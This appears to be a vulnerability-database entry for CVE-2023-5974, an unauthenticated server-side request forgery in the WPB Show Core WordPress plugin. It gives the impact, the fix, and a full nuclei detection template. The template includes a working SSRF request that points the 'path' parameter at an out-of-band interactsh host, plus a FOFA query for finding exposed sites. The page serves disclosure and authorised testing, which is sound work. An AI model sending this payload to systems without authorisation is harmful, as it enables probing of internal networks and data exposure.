HexBrain

Browse / CVEs / CVE-2023-5974

CVE-2023-5974· wpb-show-core-project / wpb-show-core· CWE-918

WordPress WPB Show Core <= 2.2 - Server-Side Request Forgery

criticalseverity
9.8CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

The WPB Show Core WordPress plugin through version 2.2 is vulnerable to Server-Side Request Forgery (SSRF) via the 'path' parameter in the download-file.php script. This vulnerability allows unauthenticated attackers to make the server perform requests to arbitrary URLs.

Impact

Unauthenticated attackers can perform SSRF attacks via the path parameter, potentially accessing internal resources or scanning internal networks.

Fix

Update WPB Show Core plugin to a version newer than 2.2.

How to confirm it

Send: GET /
Positive when: contains "wpb-show-core"
Send: GET /wp-content/plugins/wpb-show-core/download-file.php?path=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2023-5974 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-5974

info:
  name: WordPress WPB Show Core <= 2.2 - Server-Side Request Forgery
  author: ritikchaddha
  severity: critical
  description: |
    The WPB Show Core WordPress plugin through version 2.2 is vulnerable to Server-Side Request Forgery (SSRF) via the 'path' parameter in the download-file.php script. This vulnerability allows unauthenticated attackers to make the server perform requests to arbitrary URLs.
  impact: |
    Unauthenticated attackers can perform SSRF attacks via the path parameter, potentially accessing internal resources or scanning internal networks.
  remediation: |
    Update WPB Show Core plugin to a version newer than 2.2.
  reference:
    - https://wpscan.com/vulnerability/c0136057-f420-4fe7-a147-ecbec7e7a9b5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5974
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5974
    cwe-id: CWE-918
    epss-score: 0.0315
    epss-percentile: 0.88047
    cpe: cpe:2.3:a:wpb_show_core_project:wpb_show_core:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wpb-show-core-project
    product: wpb-show-core
    fofa-query: body="wp-content/plugins/wpb-show-core/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,ssrf,wpb-show-core,oast,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "wpb-show-core"
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/wpb-show-core/download-file.php?path=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from